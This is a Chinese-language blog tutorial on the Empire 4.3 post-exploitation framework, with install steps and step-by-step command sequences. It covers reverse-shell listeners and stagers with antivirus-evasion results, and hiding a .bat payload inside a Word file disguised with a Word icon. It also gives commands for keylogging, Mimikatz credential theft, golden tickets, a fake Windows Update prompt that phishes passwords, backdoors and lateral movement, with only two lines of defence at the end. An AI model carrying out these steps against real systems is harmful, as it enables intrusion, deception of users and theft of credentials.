Empire4.3基本使用

简介

Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和部分安全防护工具的查杀,有点类似于Metasploit,是一个基于PowerShell的远程控制木马。

Empire 4 是一个开发后框架,包括纯 PowerShell Windows 代理、Python 3.x Linux/OS X 代理和 C# 代理。它是之前的PowerShell Empire和Python EmPyre项目的合并,该框架提供加密安全通信和灵活的架构。

最新版本为4.3.3,原开发团队不再维护,现在由Blog - BC Security (bc-security.org)继续维护和更新

所有版本:bcsecurity/empire Tags | Docker Hub

安装

#方法一
从github拉取
git clone https://github.com/BC-SECURITY/Empire.git
...
cd setup
./install.sh

#方法二
sudo apt install powershell-empire

#方法三
# Pull the latest image
docker pull bcsecurity/empire:latest

# Run the server with the rest api and socket ports open
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

# Run the client
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest client

# To run the client against the already running server container
docker container ls
docker exec -it {container-id} ./ps-empire client

# with persistent storage
docker pull bcsecurity/empire:latest
docker create -v /empire --name data bcsecurity/empire:latest
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data bcsecurity/empire:latest

# if you prefer to be dropped into bash instead of directly into empire
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data --entrypoint /bin/bash bcsecurity/empire:latest

避雷

  • ping不通github

    修改/etc/hosts文件,添加 40.82.113.4 github.com

  • 部分插件如vinim可能无法拉取,安装的时候选择N(可能有部分功能不可用)

安装完毕后,进入Empire文件夹,运行

./ps-empire service  # 启动服务器,默认api端口1337,socketio 端口5000
./ps-empire client  # 启动客户端

RESTful API

从Empire 4.0开始,RESTful API是与服务器交互的唯一方法,并允许通过HTTP JSON请求编写脚本和控制Empire。这种新方法允许多个用户在没有新的简化客户端的情况下与服务器进行交互。

该服务器可以通过运行 ./ps-empire server来启动,并且可以连接到内置客户端或StartKiller客户端。默认情况下,RESTful API 在端口 1337 上启动,使用位于 .empire/server/data/empire.pem 的证书通过 HTTPS 启动,该证书可以使用 ./setup/cert.sh 或默认安装脚本生成。可以通过在启动时提供 --restport <PORT_NUM>来更改端口。

API默认用户名:empireadmin,默认密码:password123

Empire API 使用一个简单的基于令牌的身份验证系统为了向 API 发出任何请求,必须提供 ?token=X 参数,否则将返回 403 错误。

令牌在 rest API 启动时随机生成,该过程会显示在命令行上。

要通过登录界面检索会话令牌,可以将请求发布到 /api/admin/login

rest API的具体使用可以查看https://bc-security.gitbook.io/empire-wiki/restful-api

#查看token
# curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'

#response
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 57
Server: Werkzeug/0.11.4
Date: Thu, 31 Mar 2016 23:38:59 GMT

{
  "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
}

#查看版本
curl --insecure -i https://localhost:1337/api/version?token=token

#查看API路由表
curl --insecure -i https://localhost:1337/api/map?token=token

#显示当前配置
url --insecure -i https://localhost:1337/api/config?token=token

......

基本接口

首次加载Empire时,用户将被放入主菜单。唯一可用的命令是connect。可以将服务器加载到config.yaml中,并像connect -c localhost一样调用它

admin

admin是一个管理菜单,它为团队开发服务器管理员提供了管理用户和服务器选项的选项。可以通过在控制台中键入 admin 来访问管理菜单。进入此页面后,管理员可以在团队开发服务器中添加/删除用户,并可以修改代理将使用的混淆类型。

普通用户将无法修改设置,但可以访问注释功能。Notes 允许用户在其会话中记录信息并将其存储在服务器上。一旦将笔记发送到服务器,他们就可以从任何会话访问他们的笔记。

listenners

提供所有活动侦听器的概述列表。可以通过键入命令 kill <listener_name>来杀死侦听器

uselisteners

查看侦听器信息,设置相应参数并执行监听

usestager

Empire 以模块化格式在 ./lib/stagers/* 中实现了各种stagers。其中包括 DLL、宏、单行等。使用stager <stager_name>或点击选项卡完成以选择可用的stagers。

plugins

插件是Empire的扩展,允许加载自定义脚本,允许任何人轻松构建或添加社区项目以扩展Empire功能。插件可以从帝国 CLI 访问

参考链接:Empire/PLUGINS.md at master · BC-SECURITY/Empire (github.com)

agents

用于交互和分配任务以及收集信息。进入此页面时,将显示活动代理列表,并且活动代理为绿色,死亡代理为红色。在此菜单中可以使用代理各自的命令杀死、删除、重命名和清除代理。

internet

与代理交互是操作员管理植入物的方式。Usemodule 可从代理内部访问,并将在选项中预填充代理。可以通过键入 shell 来访问交互式 shell 菜单,也可以直接通过 shell <命令>运行命令。其他选项包括下载和上载文件、管理代理通信和代理配置。

shell

交互式 shell 菜单为代理打开了一个类似 shell 的环境,包括向用户显示的当前工作目录。所有命令都将发送到代理并返回到交互式 shell 窗口。要运行交互式 shell,只需 在任何代理中键入 shell,要退出 shell 会话,请键入 exit 以返回到代理

credential

尝试解析标准 Mimikatz 输出,并将它们保存在内部凭据存储中。可以使用凭据命令从任何位置查看凭据。凭据存储可以有效地作为黄金和白银票证目录运行,按需生成相应的票证,存储密码和哈希。可以通过键入 add <domain> <username> <password>将凭据添加到数据库中。

usemoudle

用于将程序嵌入到PowerShell和Python脚本中的容器,包括:

Code Execution #代码执行
Collection  #信息收集
Credentials  #凭证收集
Lateral Movements  #横向移动
Management  #管理
Persistence  #持久化
Privilege Escalation  #提权
Situational Awareness #势态感知,查找相关有用模块
Trollsploit  #恶作剧

chat

聊天菜单与Empire中的聊天服务器进行交互。这允许用户通过键入聊天来进出聊天室。当登录到聊天室时,将显示 20 条最新消息。当准备好返回上一个任务时,键入 back 并返回到上一个菜单

基本用法

帮助文档

键入help可查看帮助文档

admin:管理员菜单
agents:查看连接
connect:连接到empire实例
credentials:从数据库添加/展示凭据
disconnect:empire实例断开
help:帮助文档
interact:连接到存活代理
listeners:监听线程查看
plugins:插件
sponsors:赞助者
usecredential:查看/编辑凭据
userlisteners:使用监听线程
usemodule:使用模块
useplugin:使用插件
usestager:使用payload

返回主页面:main

empire和msf的大体流程比较相似,需要设置监听、生成payload、连接shell等

设置监听

listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听
uselisteners

监听方法
	http
	https
	...
	
修改监听名
	set Name Time
	
设置shell回弹地址
	set Host http://192.168.43.239:1234

设置监听端口
	set Port 1234

开启监听
	execute
	
在listenners可以查看相关信息,若设置失败可以在服务端查看错误信息

Empire支持Dropbox和Onedriver的监听

生成payload

stager类似MSF中的payload,其中multi为通用模块,osx是Mac操作系统的模块,其余为Windows的模块

设置监听器后,按back返回主菜单,输入usestager (空格+tab)可显示当前能生成的payload根据目标系统选择对应payload

usestager 模块名,选择模块名之后会出现该模块的参数信息,Required为True要求必须设置参数,value为默认值

set Listener 监听器名

生成payload
execute

注:较旧原来有launcher模块,可以在设置完参数之后在监听模块直接launcher 生成base64编码的代码,当前版本已经取消

生成的patload连接后返回连接信息

payload举例

launcher_vbs

usestager windows/launcher_vbs # 设置launcher_vbs木马
set Listener test4
execute
在目标主机上运行生成的launcher.bat,成功获得一个新的session

生成的bat文件没有被火绒拦截,只给予警告;VT 22/58报黑

launcher_bat

usestager windows/launcher_bat
set Listener test5
execute

为了增加迷惑性,可以将bat文件插入一个office文件(word/excel)中,依次选择插入---对象---选择“由文件创建”---通过浏览“选定bat文件”---勾选“显示为图标”---“更改图标”从而获得更好的迷惑性,将图标更改为word图标,更改文件显示名,可以获得更好的迷惑性。

当目标机器用户点击了word中的附件,即可触发运行bat,kali成功又获得一个新session(365版本的office不允许打开内部附件和宏)

生成的bat文件没有被火绒拦截,只给予警告;VT 28/57报黑

cmd_exec

usestager windows/cmd_exec
set Listener test5
execute

火绒拦截

连接会话和用法

agents #列出当前已连接的主机
angents相关操作:
list #作用同agents
interact #连接主机
kill  #删除失效主机
rename #重命名主机
clear #清除主机任务

查看已经连接的会话

agents

若ID带有*号代表已经提权

ID Name Language Internarl IP Username Process PID Delay Last Seen Listener

主机名为随机生成,可以在agent下使用rename oldname newname重命名

连接后可在任务管理器中查看有powershell进程运行

选择会话

interact Name

会话相关用法

display:显示agent属性
download:指定代理下载文件
history:显示接受到的任务数
info:显示代理信息
killdate:代理关闭日期,格式01/01/2020
proxy:配置agent代理的代理管理菜单
script_command:在当前导入的powershell执行一个功能
script_import:导入powershell脚本并保存在内存中
shell:运行一个特定agent执行shell命令,当前使用shell中的ls会报错,是因为无法在ps2中使用一些核心功能
sleep:指定agent更新延迟和抖动
update_comms:更新一个监听器
upload:上传本地文件
view:查看指定task id的任务和结果
workinghours:设置工作时间
whoami:查看用户
ps:查看进程(报错)
sc:截图
keylog:键盘记录
sherlock:
mimikatz:运行/powershell/credentials/mimikatz/logonpassword模块,获取域密码,需要提权
psinject:运行powershell/management/psinject模块
revtoself:运行powershell/credentials/tokens模块,revtoself为True
shinject:运行/powershell/management/shinject模块
spawn:运行/powershell/management/spawn模块
steal_token:运行powershell/credentials/tokens模块,inpersonateuser为True
bypassuac:运行powershell/privesc/bypassuac_eventvwr模块(可在连接之后直接尝试使用提权),win11会有窗口变动,且不会提权成功

目前问题是有时运行几分钟后会断连,暂未解决

选择会话之后可以进行使用相关模块进行提权或信息收集等操作

相关模块

使用usemodule + 相关模块工具

 info介绍
 Author        # 作者                                                      
 Background   # 后台运行?                                                        
 Comments     # github位置
 Description  # 相关描述      
 Language     # 相关语言,如powershell、python                                                
 Name         # 模块全名(路径)                          
 NeedsAdmin   # 是否需要管理员权限                                                  
 OpsecSafe    True ?                                                              
 Software     # ATTCK相关软件                           
 Techniques   # ATTCK相关技术                        

Record Option  # 相关设置
│ Name │ Value │ Required │ Description|

模块详细信息:帝国模块库 - 信息安全重要 (infosecmatter.com)

AllChecks模块

查看系统中的漏洞,使用方法和Powersploit下powerup的Invoke-AllChecks模块一样,该模块可以执行所有脚本检测系统漏洞,根据检测到的漏洞可以选择对应的模块进行提权等操作

usemodule powershell/privesc/powerup/allchecks

AllChecks模块的应用对象:
    任何没有引号的服务路径
    任何ACL配置错误的服务(可通过service_*利用)
    服务可执行文件上的任何设置不当的权限(可通过service_exe_*进行利用)
    任何剩余的unattend.xml文件。
    设置AlwaysInstallElevated注册表项。
    如果有任何Autologon凭证留在注册表中。
    任何加密的web.config字符串和应用程序池密码。
    对于任何%PATH%.DLL的劫持机会(可通过write_dllhijacker利用)。

提权工具

Empire内置了PowerUp的部分工具,主要有windows系统错误配置漏洞,windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式
usemodule powershell/privesc/powerup/ <tab> <tab> # 查看所有powerup模块

UAC提权
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。
原理:
使用c:\windows\wscript.exe 执行payload,即绕过UAC实现管理员权限执行payload,只适用于win7系统,目前尚没有补丁,部分杀软会有提示。

Bypass UAC
usemodule powershell/privesc/bypassuac
设置listener
execute

list查看
usemodule powershell/private/bypassuac
当运行完提权模块后,back返回agents查看,多了一个提权成功带(*)号的agents

溢出漏洞提权
usemodule powershell/privesc/ms16-032
usemodule powershell/privesc/ms16-135

计划任务提权
usemodule powershell/persistence/elevated/schtasks 

管理模块

usemodule management/enable_rdpmanagement/disable_rdp 禁用rdp
...

信息收集

usemodule powershell/collection/
usemodule powershell/situational_awareness/

常用模块
部分结果保存在empire/server/downloads/主机名/模块名下

usemodule powershell/collection/screenshot #截屏
usemodule powershell/collection/keylogger #键盘记录,保存在empire/server/downloads/主机名/
usemodule powershell/collection/clipboard_monitor #剪贴板记录

usemodule powershell/situational_awareness/network/powerview/process_hunter #获取进程信息
usemodule powershell/situational_awareness/network/powerview/get_user #列出计算机用户
usemodule powershell/situational_awareness/network/powerview/get_computer #列出计算机信息
usemodule powershell/situational_awareness/network/powerview/share_finder #列出域内所有共享
usemodule powershell/situational_awareness/host/winenum #查看本级机用户,域组成员系统基本信息等
usemodule powershell/situational_awareness/host/computerdetails #列举系统中所有有用信息,报告各种日志、RDP登录信息
usemodule powershell/situational_awareness/network/reverse_dns  #dns信息获取 
usemodule powershell/situational_awareness/host/dnsserver # 显示当前内网dns服务器地址
usemodule powershell/situational_awareness/network/powerview/user_hunter # 查找域管登录服务器IP
situational_awareness/network/powerview/get_domain_controller #获取域控制器
situational_awareness/network/powerview/get_group #枚举组信息


#社工模块
模仿windows更新,要求身份验证
usemodule collection/toasted
set ToastTitle "Your session will be terminated"
set ToastMessage "The system will restart in 5 minutes. Do you want to postpone the restart?"
set Application "Windows Update"
set CredBoxTitle "Are you sure you want to restart your PC?"
set CredBoxMessage "You must authenticate to perform this action"
excute
发送邮件
usemodule management/mailraider/management/mailraider/send_mail

#内网探测
arp扫描
usemodule powershell/situational_awareness/network/arpscan

若执行后无反应,有可能:
1、连接断开
2、执行时间较长
3、empire bug,重新执行interact Name即可显示

后门

#权限持久性劫持Shift后门
usemodule powershell/lateral_movement/invoke_wmi_debugger
在win7连续按五次shift键即可反弹会话

Sethc.exe可以替换成以下几项:
Utilman.exe(使用Win+U组合键)
osk.exe (屏幕上的键盘:使用Win + U启动组合键)
Narrator.exe (启动讲述人:使用Win + U 启动组合键)
Magnify.exe(放大镜:使用Win + U 组合键启动)

#注册表注入后门
该模块运行后会在目标主机启动项里增加一个命令
usemodule persistence/userland/registry
可以在注册表中查找RegPath对应位置的内容
只要目标机重启并登录后,就会反弹一个会话

#计划任务获取系统权限
到设置的具体时间将成功返回一个高权限的shell
usemodule powershell/persistence/elevated/schtasks
实验返回为system用户

横向渗透

环境:win2008R2 Server + 1台win7服务器

令牌窃取
# 域环境下 win7 无法提权
# 使用管理员权限运行payload

大致步骤:
usemodule powershell/situational_awareness/network/arpscan #扫描内网
usemodule powershell/situational_awareness/network/powerview/find_localadmin_access  #查找本地管理员,判断本机用户是否是域内某一台主机的本地管理
usemodule powershell/situational_awareness/network/powerview/get_domain_controller  #查找域控
usemodule powershell/lateral_movement/invoke_wmi 或者bypassuac 提权
ps 查看是否有域管理的进程procid
steal_token procid #窃取administrator的身份,ps命令无法使用,无法进一步操作
shell dir \\域名\C& 查看域C盘目录
mimikatz 获取域控下相关凭证
# credentials 查看上一步获取到的密码,plaintext是明文密码,hash是通过加密后的密码
# usecredentials 选中保存的pth id,execute可以更新凭据

# 获取域控权限
usemodule powershell/lateral_movement/invoke_wmi
set Listener C1ay
set CredID 3
set ComputerName 域名
execute

#获取黄金票据
usemodule powershell/credentials/mimikatz/lsadump
usemodule powershell/credentials/mimikatz/golden_ticket
set credid 5
set user Administrator
execute


会话注入
# invoke_psexec
前提是已经获得本地管理员权限,甚至域管理员账户,然后以次进一步渗透整个内网。优点是可以直接获得system权限,缺点是该工具能被杀软检测并留下日志,而且需要开启admin$445端口共享
usemodule lateral_movement/invoke_psexec

#invoke_wmi
比PsExec安全的多,所有Windows系统都启动了该服务,当攻击者使用wmiexec进行攻击时,Windwos系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无须写入磁盘,具有极高的隐秘性,但如果目标机器开启防火墙,则用WMI将无法连接上目标机器。
使用该模块可以获得administrator权限。如果该主机具有其他域用户凭证,则可以进行横向移动。

MSF与Empire

当拿到webshell上传的MSF客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行Empire的Payload来绕过,成功之后再用Empire的模块将其反弹回MSF

#empire
usemodule powershell/code_execution/invoke_shellcode
set Lhost ip
set Lport port
execute

#msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST ip
set LPORT port
run

Empire存在的bug:https://www.jianshu.com/p/c5153ee1eb76

防护措施

  • 开启防火墙、杀软

  • 拦截连续出现/admin/get.php,/news.php,/login/process.php的http会话

posted @ 2022-03-10 13:54  JICEY  阅读(786)  评论(0编辑  收藏  举报